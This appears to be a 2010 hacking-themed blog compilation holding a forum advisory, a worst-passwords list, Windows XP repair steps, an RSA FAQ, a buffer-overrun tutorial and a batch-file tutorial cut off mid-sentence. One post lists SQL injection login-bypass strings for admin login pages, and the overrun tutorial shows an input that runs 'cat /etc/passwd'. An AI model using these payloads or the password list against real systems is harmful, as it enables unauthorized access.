Saturday, August 28, 2010

JForum BBCode Color Tag HTML Injection Issue

JForum BBCode Color Tag HTML Injection Issue

27 August 2010

JForum is a discussion board system implemented in Java. The application is exposed to an HTML injection issue because it fails to properly sanitize user-supplied input before using it in dynamically generated content. JForum version 2.08 is affected.

Ref: http://www.securityfocus.com/bid/42414

10.34.50 - CVE: Not Available
Platform: Web Application

Worst Passwords of All Time

Table 9.1: The Top 500 Worst Passwords of All Time
Perfect Passwords: Selection, Protection, Authentication
Mark Burnett Copyright Syngress Publishing, Inc.2006Syngress Publishing182
Top 1-100 Top 101–200 Top 201–300 Top 301–400 Top 401–500
123456 porsche firebird prince rosebud
password guitar butter beach jaguar
12345678 chelsea united amateur great
1234 black turtle 7777777 cool
pussy diamond steelers muffin cooper
12345 nascar tiffany redsox 1313
dragon jackson zxcvbn star scorpio
qwerty cameron tomcat testing mountain
696969 654321 golf shannon madison
mustang computer bond007 murphy 987654
letmein amanda bear frank brazil
baseball wizard tiger hannah lauren
master xxxxxxxx doctor dave japan
michael money gateway eagle1 naked
football phoenix gators 11111 squirt
shadow mickey angel mother stars
monkey bailey junior nathan apple
abc123 knight thx1138 raiders alexis
pass iceman porno steve aaaa
fuckme tigers badboy forever bonnie
6969 purple debbie angela peaches
jordan andrea spider viper jasmine
harley horny melissa ou812 kevin
ranger dakota booger jake matt
iwantu aaaaaa 1212 lovers qwertyui
jennifer player flyers suckit danielle
hunter sunshine fish gregory beaver
fuck morgan porn buddy 4321
2000 starwars matrix whatever 4128
test boomer teens young runner
batman cowboys scooby nicholas swimming
trustno1 edward jason lucky dolphin
thomas charles walter helpme gordon
tigger girls cumshot jackie casper
robert booboo boston monica stupid
access coffee braves midnight shit
love xxxxxx yankee college saturn
buster bulldog lover baby gemini
1234567 ncc1701 barney cunt apples
soccer rabbit victor brian august
hockey peanut tucker mark 3333
killer john princess startrek canada
george johnny mercedes sierra blazer
sexy gandalf 5150 leather cumming
andrew spanky doggie 232323 hunting
charlie winter zzzzzz 4444 kitty
superman brandy gunner beavis rainbow
asshole compaq horney bigcock 112233
fuckyou carlos bubba happy arthur
dallas tennis 2112 sophie cream
jessica james fred ladies calvin
panties mike johnson naughty shaved
pepper brandon xxxxx giants surfer
1111 fender tits booty samson
austin anthony member blonde kelly
william blowme boobs fucked paul
daniel ferrari donald golden mine
golfer cookie bigdaddy 0 king
summer chicken bronco fire racing
heather maverick penis sandra 5555
hammer chicago voyager pookie eagle
yankees joseph rangers packers hentai
joshua diablo birdie einstein newyork
maggie sexsex trouble dolphins little
biteme hardcore white 0 redwings
enter 666666 topgun chevy smith
ashley willie bigtits winston sticky
thunder welcome bitches warrior cocacola
cowboy chris green sammy animal
silver panther super slut broncos
richard yamaha qazwsx 8675309 private
fucker justin magic zxcvbnm skippy
orange banana lakers nipples marvin
merlin driver rachel power blondes
michelle marine slayer victoria enjoy
corvette angels scott asdfgh girl
bigdog fishing 2222 vagina apollo
cheese david asdf toyota parker
matthew maddog video travis qwert
121212 hooters london hotdog time
patrick wilson 7777 paris sydney
martin butthead marlboro rock women
freedom dennis srinivas xxxx voodoo
ginger fucking internet extreme magnum
blowjob captain action redskins juice
nicole bigdick carter erotic abgrtyu
sparky chester jasper dirty 777777
yellow smokey monster ford dreams
camaro xavier teresa freddy maxwell
secret steven jeremy arsenal music
dick viking 11111111 access14 rush2112
falcon snoopy bill wolf russia
taylor blue crystal nipple scorpion
111111 eagles peter iloveyou rebecca
131313 winner pussies alex tester
123123 samantha cock florida mistress
bitch house beer eric phantom
hello miller rocket legend billy
scooter flower theman movie 6666
please jack oliver success albert

XP REPAIR INSTALL

XP REPAIR INSTALL

1. Boot the computer using the XP CD. You may need to change the
boot order in the system BIOS. Check your system documentation
for steps to access the BIOS and change the boot order.


2. When you see the "Welcome To Setup" screen, you will see the
options below This portion of the Setup program prepares Microsoft
Windows XP to run on your computer:

To setup Windows XP now, press ENTER.

To repair a Windows XP installation using Recovery Console, press R.

To quit Setup without installing Windows XP, press F3.




3. Press Enter to start the Windows Setup.

do not choose "To repair a Windows XP installation using the
Recovery Console, press R", (you do not want to load Recovery
Console). I repeat, do not choose "To repair a Windows XP
installation using the Recovery Console, press R".

4. Accept the License Agreement and Windows will search for existing
Windows installations.

5. Select the XP installation you want to repair from the list and
press R to start the repair. If Repair is not one of the options,
read this Warning!!

6. Setup will copy the necessary files to the hard drive and reboot.
Do not press any key to boot from CD when the message appears.
Setup will continue as if it were doing a clean install, but your
applications and settings will remain intact.

Blaster worm warning: Do not immediately activate over the internet
when asked, enable the XP firewall
[ http://support.microsoft.com/?kbid=283673 ]
before connecting to the internet. You can activate after the
firewall is enabled. Control Panel - Network Connections. Right click
the connection you use, Properties, and there is a check box on the
Advanced [ http://michaelstevenstech.com/xpfirewall1.jpg ] page.


7. Reapply updates or service packs applied since initial Windows XP
installation. Please note that a Repair Install from the Original
install XP CD will remove SP1/SP2 and service packs will need to be
reapplied.
Service Pack 2
http://www.microsoft.com/downloads/details.aspx?FamilyId=049C9DBE-3B8E-
4F30-8245-9E368D3CDB5A&displaylang=en
An option I highly recommend is creating a Slipstreamed XP CD with SP2.
Slipstreaming Windows XP with Service Pack 2 (SP2)
http://www.winsupersite.com/showcase/windowsxp_sp2_slipstream.asp

______________________________________________________________________

Warning!!
If the option to Repair Install is not available and you continue
with the install;you will delete your Windows folder and Documents
and Settings folder. All applications that place keys in the registry
will need to be re-installed. You should exit setup if the repair
option is not available and consider other options.

Try the link below if the repair option is not available.
Windows XP Crashed?
http://www.digitalwebcast.com/2002/03_mar/tutorials/cw_boot_toot.htm
Here's Help.
A salvage mission into the depths of Windows XP, explained by a
non-geek

by Charlie White
http://www.digitalwebcast.com/2002/03_mar/tutorials/cw_boot_toot.htm

Related links
You May Lose Data or Program Settings After Reinstalling, Repairing,
or Upgrading Windows XP (Q312369)
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q312369

System Restore "Restore Points" Are Missing or Deleted (Q301224)
http://support.microsoft.com/default.aspx?scid=kb;en-us;Q301224

How to Perform an In-Place Upgrade (Reinstallation) of Windows XP
(Q315341)
http://support.microsoft.com/search/preview.aspx?scid=kb;en-us;Q315341

Warning!! If the Repair Option is not Available
What should I do? Most important do not ignore the information below!

If the option to Repair Install is NOT available and you continue
with the install; you will delete your Windows folder, Documents and
Settings folders. All Applications that place keys in the registry
will need to be re-installed.

You should exit setup if the repair option is not available and
consider other options. I have found if the Repair option is not
available, XP is usually not repairable and will require a Clean
install.http://michaelstevenstech.com/cleanxpinstall.html
If you still have the ability to access the Windows XP installation,
backup all important files not restorable from other sources before
attempting any recovery console trouble shooting attempts.

Possible Fix by reconfiguring boot.ini using Recovery Console.
1.Boot with XP CD or 6 floppy boot disk set.
2. Press R to load the Recovery Console.
3. Type bootcfg.
4. This should fix any boot.ini errors causing setup not to see the
XP OS install.
5. Try the repair install.

One more suggestion from MVP Alex Nichol

"Reboot, this time taking the immediate R option, and if the CD
letter is say K: give these commands

COPY K:\i386\ntldr C:\
COPY K:\i386\ntdetect.com C:\


(two other files needed - just in case)

1. Type: ATTRIB -H -R -S C:\boot.ini DEL C:\boot.ini

2. Type: BootCfg /Rebuild

which will get rid of any damaged boot.ini, search the disk for
systems and make a new one. This might even result in a damaged
windows reappearing; but gives another chance of getting at the
repair"


Feedback on success or failure of the above fixes would be greatly
appreciated.



Feedback on success or failure of the above fix would be greatly
appreciated.
xpnews@michaelstevenstech.com



Michael Stevens MS-MVP XP
Publishing of this document without permission of the author is
forbidden.
4-29-2003
Revised 11-05-2004

Friday, August 27, 2010

FtK Image 1- to compare hash value

*you may need usb thumb drive
*Install FTK Imager


1. Create a folder called C5Prj04(example) on your USB drive and then start Notepad
2. In An new text file type THIS IS TEST OF HASH VALUE................

3.Save the file as hash1.txt in the folder you created on ypur USB drive and then exit notepad

4.Start FTK Imager and click File> Add Evidence Item from the menu.In the select source
dialog box click Logical Drive option button and then click Next,
5.In the select Drive dialog box click the Drive Selection list arrow click select your USB drive and then click Finish.




6.In the upper-left pane ,click to expand your USB drive and continue expanding until you can click the C5Prjo4(folder your create in USB),In the upper-right Pane you should see the hash1.txt file your created

7.Right-click the file and Export file hash list .save the file as original hash in the C5Prjo4 folder on your USB drive.FTK Imager save it as a.csv file.Exit Ftk Imager and start Notepad.
* example hash value for original text file your create






8. open hash1.txt in the Notepad ,add one letter to the end of the file ,save it and exit notepad.


9.Start FTK Imager again .Repeat step 4 to 7 (but without starting notepad ) but this is time when you export the file hash list save the file as changes hash

10.open the original hash and changes hash file on your USB drive in excel.compare the hash value in both whether they are different

RSA?

How fast is RSA?

An ``RSA operation,'' whether for encrypting or decrypting, signing
or verifying, is essentially a modular exponentiation, which can be
performed by a series of modular multiplications.

In practical applications, it is common to choose a small public
exponent for the public key; in fact, entire groups of users can use
the same public exponent. This makes encryption faster than decryption
and verification faster than signing. Algorithmically, public-key
operations take O(k^2) steps, private key operations take O(k^3)
steps, and key generation takes O(k^4) steps, where k is the number of
bits in the modulus; O-notation refers to the an upper bound on the
asymptotic running time of an algorithm [22].

There are many commercially available hardware implementations of RSA,
and there are frequent announcements of newer and faster chips. The
fastest current RSA chip [76] has a throughput greater than 600 Kbits
per second with a 512-bit modulus, implying that it performs over 1000
RSA private-key operations per second. It is expected that RSA speeds
will reach 1 Mbit/second within a year or so.

By comparison, DES is much faster than RSA. In software, DES is generally at
least 100 times as fast as RSA. In hardware, DES is between 1,000 and 10,000
times as fast, depending on the implementations. RSA will probably narrow
the gap a bit in coming years, as it finds growing commercial markets, but
will never match the performance of DES.


2.4 How much extra message length is caused by using RSA?

Only a very small amount of data expansion is involved when using RSA. For
encryption, a message may be padded to a length that is a multiple of the
block length, usually 64 bits, since RSA is usually combined with a
secret-key block cipher such as DES (see Question 2.12). Encrypting
the DES key takes as many additional bits as the size of the RSA modulus.


For authentication, an RSA digital signature is appended to a document.
An RSA signature, including information such as the name of the signer, is
typically a few hundred bytes long. One or more certificates (see Question
3.5) may be included as well; certificates can be used in conjunction
with any digital signature method. A typical RSA certificate is a few
hundred bytes long.


2.5 What would it take to break RSA?

There are a few possible interpretations of ``breaking RSA''. The most
damaging would be for an attacker to discover the private key corresponding
to a given public key; this would enable the attacker both to read all
messages encrypted with the public key and to forge signatures. The obvious
way to do this attack is to factor the public modulus, n, into its two prime
factors, p and q. From p, q, and e, the public exponent, the attacker can
easily get d, the private key. The hard part is factoring n; the security
of RSA depends of factoring being difficult. In fact, the task of recovering
the private key is equivalent to the task of factoring the modulus: you can
use d to factor n, as well as use the factorization of n to find d. See
Questions 4.5 and 4.6 regarding the state of the art in factoring. It should
be noted that hardware improvements alone will not weaken RSA, as long as
appropriate key lengths are used; in fact, hardware improvements should
increase the security of RSA (see Question 4.5).

Another way to break RSA is to find a technique to compute e-th roots mod
n. Since c = m^e, the e-th root of c is the message m. This attack would
allow someone to recover encrypted messages and forge signatures even
without knowing the private key. This attack is not known to be equivalent to
factoring. No methods are currently known that attempt to break RSA in this
way.

The attacks just mentioned are the only ways to break RSA in such a
way as to be able to recover all messages encrypted under a given key.
There are other methods, however, which aim to recover single messages;
success would not enable the attacker to recover other messages
encrypted with the same key.

The simplest single-message attack is the guessed plaintext attack. An
attacker sees a ciphertext, guesses that the message might be ``Attack at
dawn'', and encrypts this guess with the public key of the recipient; by
comparison with the actual ciphertext, the attacker knows whether or not
the guess was correct. This attack can be thwarted by appending some random
bits to the message. Another single-message attack can occur if someone
sends the same message m to three others, who each have public exponent
e=3. An attacker who knows this and sees the three messages will be able
to recover the message m; this attack and ways to prevent it are discussed
by Hastad [35]. There are also some ``chosen ciphertext'' attacks, in
which the attacker creates some ciphertext and gets to see the corresponding
plaintext, perhaps by tricking a legitimate user into decrypting a fake
message; Davida [23] gives some examples.

Of course, there are also attacks that aim not at RSA itself but at
a given insecure implementation of RSA; these do not count as ``breaking
RSA'' because it is not any weakness in the RSA algorithm that is exploited,
but rather a weakness in a specific implementation. For example, if someone
stores his private key insecurely, an attacker may discover it. One cannot
emphasize strongly enough that to be truly secure RSA requires a secure
implementation; mathematical security measures, such as choosing a long key
size, are not enough. In practice, most successful attacks will likely be
aimed at insecure implementations and at the key management stages of an RSA
system. See Section 3 for discussion of secure key management in an
RSA system.


2.6 Are strong primes necessary in RSA?

In the literature pertaining to RSA, it has often been suggested that in
choosing a key pair, one should use ``strong'' primes p and q to generate
the modulus n. Strong primes are those with certain properties that make
the product n hard to factor by specific factoring methods; such
properties have included, for example, the existence of a large prime
factor of p-1 and a large prime factor of p+1. The reason for these
concerns is that some factoring methods are especially suited to
primes p such that p-1 or p+1 has only small factors; strong primes
are resistant to these attacks.

However, recent advances in factoring (see Question 4.6) appear to
have obviated the advantage of strong primes; the elliptic curve factoring
algorithm is one such advance. The new factoring methods have as good a
chance of success on strong primes as on ``weak'' primes; therefore, choosing
strong primes does not significantly increase resistance to attacks. So for
now the answer is negative: strong primes are not necessary when using RSA,
although there is no danger in using them, except that it takes longer to
generate a key pair. However, new factoring algorithms may be developed in
the future which once again target primes with certain properties; if so,
choosing strong primes may again help to increase security.


2.7 How large a modulus (key) should be used in RSA?

The best size for an RSA modulus depends on one's security needs. The larger
the modulus, the greater the security but also the slower the RSA operations.
One should choose a modulus length upon consideration, first, of one's
security needs, such as the value of the protected data and how long it needs
to be protected, and, second, of how powerful one's potential enemy is.
It is also possible that a larger key size will allow a digitally signed
document to be valid for a longer time; see Question 3.17.

A good analysis of the security obtained by a given modulus length is given
by Rivest [72], in the context of discrete logarithms modulo a prime, but
it applies to RSA as well. Rivest's estimates imply that a 512-bit modulus
can be factored with an $8.2 million effort, less in the future. It may
therefore be advisable to use a longer modulus, perhaps 768 bits in length.
Those with extremely valuable data (or large potential damage from digital
forgery) may want to use a still longer modulus. A certifying authority
(see Question 3.5) might use a modulus of length 1000 bits or more, because
the validity of so many other key pairs depends on the security of the one
central key.

The key of an individual user will expire after a certain time, say, two
years (see Question 3.12). Upon expiration, the user will generate a new
key which should be at least a few digits longer than the old key to
reflect the speed increases of computers over the two years. Recommended key
length schedules will probably be published by some authority or public body.

Users should keep in mind that the estimated times to break RSA are averages
only. A large factoring effort, attacking many thousands of RSA moduli, may
succeed in factoring at least one in a reasonable time. Although the security
of any individual key is still strong, with some factoring methods there is
always a small chance that the attacker may get lucky and factor it quickly.

As for the slowdown caused by increasing the key size (see Question
2.3), doubling the modulus length would, on average, increase the
time required for public-key operations (encryption and signature
verification) by a factor of 4, and increase the time taken by private
key operations (decryption and signing) by a factor of 8. The reason that
public-key operations are affected less than private-key operations is that
the public exponent can remain fixed when the modulus is increased, whereas
the private exponent increases proportionally. Key generation time would
increase by a factor of 16 upon doubling the modulus, but this is a
relatively infrequent operation for most users.

Understanding Buffer Overruns

Understanding Buffer Overruns
-----------------------------
by James Turner

The goal of every darkside hacker is to get the target system to do something you don't want it to do.

A primary example is to reveal sensitive files such as /etc/passwd and /etc/shadow (which store the user names and encrypted passwords of your users.) Once these are in his or her hands, it is possible to use a "dictionary" attack on the passwords.

Alternatively, they can have your system FTP over an infected file and run it, which can be as bad or worse. In order to do this, they need to get a "trusted" program to execute commands they specify. Usually, this is done by a "buffer overrun" attack. Typically, buffer overrun attacks are aimed at programs that implement network functions, such as Web servers and mail servers.

A famous attack was aimed at the Sendmail Simple Mail Transfer Protocol (SMTP) mail server. These programs listen for incoming network connections and process the requests. Some, like SMTP, use plain-english conversations that look like:

220 secure.hostname.com ESMTP Sendmail 8.11.2/8.11.2; Thu, 4 Sep 2003 13:18:30
HELLO mail.otherhost.com
250 secure.hostname.com Hello skinny [127.0.0.1], pleased to meet you

So, essentially, the program is reading lines of text, interpretting them, and doing actions based on them. A convenient feature that these "network daemons" take advantage of is that they can communicate with the client computer using "standard input" and "standard output", which for a normal program would be the keyboard and display of the person running the program. But in this case it is reading and writing to another program (such as Microsoft Outlook) running on another computer.

To understand how a buffer overrun works, you need to look at the very small C program below:

#include
main() {
char *name;
char *dangerous_system_command;
name = (char *) malloc(10);
dangerous_system_command = (char *) malloc(128);
printf("Address of name is %d\n", name);
printf("Address of command is %d\n", dangerous_system_command);
sprintf(dangerous_system_command, "echo %s", "Hello world!");
printf("What's your name?");
gets(name);
system(dangerous_system_command);
}
If you're not a C coder, don't worry, I'll walk you through it. This program is designed to be run by a user on a console, but it illustrated the trouble that a poorly written network daemon can cause.

The first thing the program does is to declare two string variables, and assign memory to them. The "name" variable is given 10 bytes of memory (which will allow it to hold a 10 character string. The "dangerous_system_command" variable is given 128 bytes. The thing you have to understand is that in C, the memory chunks given to these variable will be located directly next to each other in the virtual memory space given to the program. If you run the program with a short name, you can see how things are supposed to work:

[jturner@secure jturner]$ ./overrun
Address of name is 134518696
Address of command is 134518712
What's your name?James
Hello world!
[jturner@secure jturner]$
As you can see, the address given to the "dangerous_system_command" variable is 16 bytes from the start of the "name" variable. The extra 6 bytes are overhead used by the "malloc" system call to allow the memory to be returned to general usage when it is freed.

After allocating the memory and printing the memory locations of the two variables, the program generates a command which will later be sent to the "system" call, which causes it to be excuted as if it had been typed at a keyboard. In this case, all it does is print "Hello world!". Then, we prompt the user for their name and read it using the "gets" system call. In a real network daemon, this might be printing a prompt and awaiting a command from the client program such as a web site address or mail address.

The important thing to know is that "gets", which reads a string from standard input to the specified memory location, DOES NOT have a "length" specification. This means it will read as many characters as it takes to get to the end of the line, even if it overruns the end of the memory allocated. Knowing this, a wiley hacker can overrun the "name" memory into the "dangerous_system_command" memory, and run whatever command they wish. For example:

[jturner@secure jturner]$ ./overrun
Address of name is 134518696
Address of command is 134518712
What's your name?0123456789123456cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:
daemon:x:2:2:daemon:/sbin:
adm:x:3:4:adm:/var/adm:
lp:x:4:7:lp:/var/spool/lpd:
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail

By padding out the response to the name query to 16 character and then adding a system command, the system command overwrites "echo Hello World!" with "cat /etc/passwd". As you can see, this causes that command to be run instead of the appropriate one.

So what can be done to prevent this? For one, using the fgets system call, which specifies a maximum length, will eliminate the possibility altogether. By changing the "gets" call to:

fgets(name, 10, stdin);

The problem is solved:

[jturner@secure jturner]$ ./overrun
Address of name is 134518768
Address of command is 134518784
What's your name?01234567890123456cat /etc/passwd
Hello world!
[jturner@secure jturner]$

But, since many sites run software that they don't have source code to (commericial databases, for example), you can't protect yourself from all buffer overruns. The other important step you need to take is to turn off any network services you don't use, and only run the ones you do use at a permission level that meets the needs of the program. For example, don't run a database as root, give it its own user and group. That way, if it is exploited, it can't be used to take over the system.

Buffer overruns are one of those things that every first-year programming student should be taught to avoid. That it still is used with such frequency by hackers is an indication of how far we have to go in the quest for truly reliable and secure software.

SQL injection Passwd

Windows SQL injection (site contain /admin/login.asp or just login.asp page)


Instead password use one of this string

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

") or ("a"="a



SPAX@zone-h.org

Saturday, August 14, 2010

Batch File Programming By Ankit Fadia ankit@bol.net.in

__________________________________________________________________



Batch File Programming By Ankit Fadia ankit@bol.net.in

__________________________________________________________________





Batch file programming is nothing but the Windows version of Unix Shell

Programming. Let's start by understanding what happens when we give a DOS

command. DOS is basically a file called command.com

It is this file (command.com) which handles all DOS commands that you give at the

DOS prompt---such as COPY, DIR, DEL etc. These commands are built in with the

Command.com file. (Such commands which are built in are called internal

commands.).DOS has something called external commands too such as FORMAT,

UNDELETE, BACKUP etc.



So whenever we give a DOS command either internal or external, command.com

either straightaway executes the command (Internal Commands) or calls an external

separate program which executes the command for it and returns the

result (External Commands.)



So why do I need Batch File Programs? Say you need to execute a set of commands

over and over again to perform a routine task like Backing up Important Files,

Deleting temporary files(*.tmp, .bak , ~.* etc)

then it is very difficult to type the same set of commands over and over

again. To perform a bulk set of same commands over and over again, Batch files

are used. Batch Files are to DOS what Macros are to Microsoft Office and are used

to perform an automated predefined set of tasks over and over again.



So how do I create batch files? To start enjoying using Batch files, you need to

learn to create Batch files. Batch files are basically plain text files

containing DOS commands. So the best editor to write your commands in would be

Notepad or the DOS Editor (EDIT) All you need to remember is that a batch file

should have the extension .BAT(dot bat)Executing a batch file is quite simple

too. For example if you create a Batch file and save it with the filename

batch.bat then all you need to execute the batch file is to type:



C:\windows>batch.bat



So what happens when you give a Batch file to the command.com to execute?

Whenever command.com comes across a batch file program, it goes into batch

mode. In the batch mode, it reads the commands from the batch file line by

line. So basically what happens is, command.com opens the batch file and reads

the first line, then it closes the batch file. It then executes the command and

again reopens the batch file and reads the next line from it. Batch files are

treated as Internal DOS commands.



*********************

Hacking Truth: While creating a batch file, one thing that you need to keep in

mind is that the filename of the batch file should not use the same name as a

DOS command. For example, if you create a batch file by the name dir.bat and then

try to execute it at the prompt, nothing will happen.

This is because when command.com comes across a command, it first checks to see

if it is an internal command. If it is not then command.com checks if it a .COM,

.EXE or .BAT file with a matching filename.

All external DOS commands use either a .COM or a .EXE extension, DOS never

bothers to check if the batch program exits.

*********************

Now let's move on to your first Batch file program. We will unlike

always(Normally we begin with the obligatory Hello World program) first take up

a simple batch file which executes or launches a .EXE program. Simply type the

following in a blank text file and save it with a .BAT extension.



C:

cd windows

telnet



Now let's analyze the code, the first line tells command.com to go to the C:

Next it tells it to change the current directory to Windows. The last line tells it to

launch the telnet client. You may contradict saying that the full filename is

telnet.exe. Yes you are right, but the .exe extension is automatically added by

command.com. Normally we do not need to change the drive and the directory as

the Windows directory is the default DOS folder. So instead the bath file

could simply contain the below and would still work.



telnet



Now let's execute this batch file and see what results it shows. Launch

command.com (DOS) and execute the batch file by typing:



C:\WINDOWS>batch_file_name



You would get the following result:



C:\WINDOWS>scandisk



And Scandisk is launched. So now the you know the basic functioning of Batch

files, let' move on to Batch file commands.



The REM Command



The most simple basic Batch file command is the REM or the Remark command. It is

used extensively by programmers to insert comments into their code to make it

more readable and understandable. This command ignores anything there is on that

line. Anything on the line after REM is not even displayed on the screen during

execution. It is normally not used in small easy to understand batch programs but

is very useful in huge snippets of code with geek stuff loaded into it. So if we

add Remarks to out first batch file, it will become:



REM This batch file is my first batch program which launches the fav hacking

tool; Telnet



telnet



The only thing to keep in mind while using Remarks is to not go overboard and

putting in too many of them into a single program as they tend to slow down the

execution time of the batch commands.



ECHO: The Batch Printing Tool



The ECHO command is used for what the Print command is in other programming

languages: To Display something on the screen. It can be used to tell the user

what the bath file is currently doing. It is true that Batch programs display all

commands it is executing but sometimes they are not enough and it is better to

also insert ECHO commands which give a better description of what is presently

being done. Say for example the following batch program which is full of the ECHO

command deletes all files in the c:\windows\temp directory:



ECHO This Batch File deletes all unwanted Temporary files from your system

ECHO Now we go to the Windows\temp directory.

cd windows\temp

ECHO Deleting unwanted temporary files....

del *.tmp

ECHO Your System is Now Clean



Now let's see what happens when we execute the above snippet of batch code.



C:\WINDOWS>batch_file_name

C:\WINDOWS>ECHO This Batch File deletes all unwanted Temporary files from your

system

C:\WINDOWS>ECHO Now we go to the Windows\temp directory.

Now we go to the Windows\temp directory.

C:\WINDOWS>cd windows\temp

Invalid directory

C:\WINDOWS>ECHO Deleting unwanted temporary files

Deleting unwanted temporary files...

C:\WINDOWS>del *.tmp

C:\WINDOWS>ECHO Your System is Now Clean

Your System is Now Clean



The above is a big mess! The problem is that DOS is displaying the executed

command and also the statement within the ECHO command. To prevent DOS from

displaying the command being executed, simply precede the batch file with the

following command at the beginning of the file:



ECHO OFF



Once we add the above line to our Temporary files deleting Batch program , the

output becomes:



C:\WINDOWS>ECHO OFF

This Batch File deletes all unwanted Temporary files from your system

Now we go to the Windows\temp directory.

Invalid directory

Deleting unwanted temporary files...

File not found

Your System is Now Clean



Hey pretty good! But it still shows the initial ECHO OFF command. You can prevent

a particular command from being shown but still be executed by preceding the

command with a @ sign. So to hide even the ECHO OFF command, simple replace the

first line of the batch file with @ECHO OFF



You might think that to display a blank line in the output screen you can simply

type ECHO by itself, but that doesn't work. The ECHO command return whether the

ECHO is ON or OFF. Say you have started your batch file with the command ECHO OFF

and then in the later line give the command ECHO, then it will display ' ECHO is

off ' on the screen. You can display a blank line by giving the command

ECHO.(ECHO followed by a dot)Simply leaving a blank line in the code too

displays a blank line in the output.



You can turn ON the ECHO anytime by simply giving the command ECHO ON. After

turning the echo on , if you give the command ECHO then it will return ' ECHO is

on '



The PAUSE Command: Freezing Time



Say you create a batch file which shows the Directory Listing of a particular

folder(DIR) before performing some other task. Or sometimes before deleting all

files of a folder, you need to give the user time to react and change his

mind. PAUSE, the name says it all, it is used to time out actions of a script.

Consider the following scenario:



REM This Batch program deletes *.doc files in the current folder.

REM But it gives the user to react and abort this process.

@ECHO OFF

ECHO WARNING: Going to delete all Microsoft Word Document

ECHO Press CTRL+C to abort or simply press a key to continue.

PAUSE

DEL *.doc



Now when you execute this batch program, we get the following output:



C:\WINDOWS>a.bat

WARNING: Going to delete all Microsoft Word Document

Press CTRL+C to abort or simply press a key to continue.

Press any key to continue . . .



The batch file program actually asks the user if he wishes to continue and gives

the user the option to abort the process. Pressing CTRL+C cancels the batch file

program(CTRL+C and CTRL+Break bring about the same results)



^C



Terminate batch job (Y/N)?y



After this you will get the DOS prompt back.



****************

HACKING TRUTH: Say you have saved a batch file in the c:\name directory. Now when

you launch command.com the default directory is c:\windows and in order to

execute the batch file program stored in the c:\name directory you need to

change the directory and go to c:\name.This can be very irritating and time

consuming. It is a good practice to store all your batch programs in the same

folder. You can run a batch file stored in any folder(Say c:\name) from

anywhere(even c:\windows\history) if you include the folder in which the batch

file is stored (c:\name)in the AUTOEXEC.BAT file, so that DOS knows which folder

to look for the batch program.

So simply open c:\autoexec.bat in Notepad and append the Path statement to the

following line[c:\name is the folder in which all your batch files are stored.]:



SET PATH=C:\WINDOWS;C:\WINDOWS\COMMAND;C:\name



Autoexec.bat runs each time at startup and DOS knows each time, in which

directory to look for the batch files.

********************



Parameters: Giving Information to Batch Programs



To make batch programs really intelligent you need to be able to provide them

with parameters which are nothing but additional valuable information which is

needed to ensure that the bath program can work efficiently and flexibly.

To understand how parameters work, look at the following script:



@ECHO OFF

ECHO First Parameter is %1

ECHO Second Parameter is %2

ECHO Third Parameter is %3



The script seems to be echoing(printing) messages on the screen, but what do the

strange symbols %1 , % 2 etc stand for? To find out what the strange symbols

stand for save the above script and go to DOS and execute this script by passing

the below parameters:



C:\windows>batch_file_name abc def ghi



This batch file produces the following result:



C:\windows>batch_file_name abc def ghi

First Parameter is abc

Second Parameter is def

Third Parameter is ghi



The first line in the output is produced by the code line:



ECHO First Parameter is %1



Basically what happens is that when DOS encounters the %1 symbol, it examines

the original command used to execute the bath program and look for the first

word (argument) after the batch filename and then assigns %1 the value of that

word. So one can say that in the ECHO statement %1 is replaced with the value of

the first argument. In the above example the first word after the batch file name

is abc, therefore %1 is assigned the value of this word.



The %2 symbol too works in the similar way, the only difference being that

instead of the first argument, DOS assigns it the value of the second argument,

def. Now all these symbols, %1, %2 are called replaceable parameters. Actually

what happens is that %1 is not assigned the value of the first argument, but

in fact it is replaced by the value of the first argument.



If the batch file command has more parameters than what the batch file is

looking for, then the extras are ignored. For example, if while executing a batch

file program , we pass four arguments, but the batch file program requires only

3 parameters, then the fourth parameter is ignored.



To understand the practical usage of parameters, let's take up a real life

example. Now the following script requires the user to enter the name of the

files to be deleted and the folder in which they are located.



@ECHO OFF

CD\

CD %1

DEL %2



This script can be called from the DOS prompt in the following way:



C:\windows>batch_file_name windows\temp *.tmp



In a single script we cannot use more that nine replaceable parameters. This

means that a particular batch file will have replaceable parameters from %1 to

%9.Infact there is a tenth replaceable parameter, the %0 parameter. The %0

parameter contains the name of the batch file itself.



************

HACKING TRUTH: Say you want to execute a batch file and once the procedure of

execution is complete, want to leave DOS and return to Windows, what do you do?

The EXIT command can be used in such situations. So simply end your batch file

with the EXIT command.

EXIT

************



SHIFT: Infinite Parameters



Sometimes your batch file program may need to use more than nine parameters at a

time.(Actually you would never need to, but at least you are sure you can handle

it if you need to.)To see how the SHIFT command works, look at the following

snippet of code:



@ECHO OFF

ECHO The first Parameter is %1

ECHO.

SHIFT

ECHO The Second Parameter is %1

ECHO.

SHIFT

ECHO The Second Parameter is %1



Now execute this batch file from DOS and see what happens.



C:\windows>batch_file_name abc def ghi



The first Parameter is abc



The Second Parameter is def



The Second Parameter is ghi



How does it work? Well, each SHIFT command shuffles the parameters down one

position. This means that after the first SHIFT %1 becomes def, %2 becomes ghi

and abc is completely removed by DOS. All parameters change and move one position

down.



Both normal parameters (%1 , % 2 etc) and the SHIFT command can be made more

efficient by grouping them with the IF conditional statement to check the

parameters passed by the User.



THE FOR LOOP



The syntax of the FOR LOOP is:



FOR %%PARAMETER IN(set) DO command



Most people change their mind about learning Batch Programming when they come

across the syntax of the For Command. I do agree that it does seem a bit weird,

but it is not as difficult as it appears to be. Let's analyze the various parts

of the For command. Before we do that look at the following example,



@ECHO OFF

CLS

FOR %%A IN (abc, def, xyz) DO ECHO %%A



Basically a FOR LOOP declares a variable (%%A) and assigns it different values

as it goes through the predefined set of values(abc, def, xyz) and each time

the variable is assigned a new value, the FOR loop performs a command.(ECHO %%A)



The %%A is the variable which is assigned different values as the loop goes

through the predefined set of values in the brackets. You can use any single

letter character after the two % sign except 0 through 9.We use two %'s as DOS

deletes each occurrence of a single % sign in a batch file program.



The IN(abc, def, xyz) is the list through which the FOR loop goes. The variable

%%a is assigned the various values within the brackets, as the loop moves. The

items in the set(The technical term for the set of values within the brackets)

can be separated with commas, colons or simply spaces.



For each item in the set(The IN Thing) the FOR loop performs whatever command is

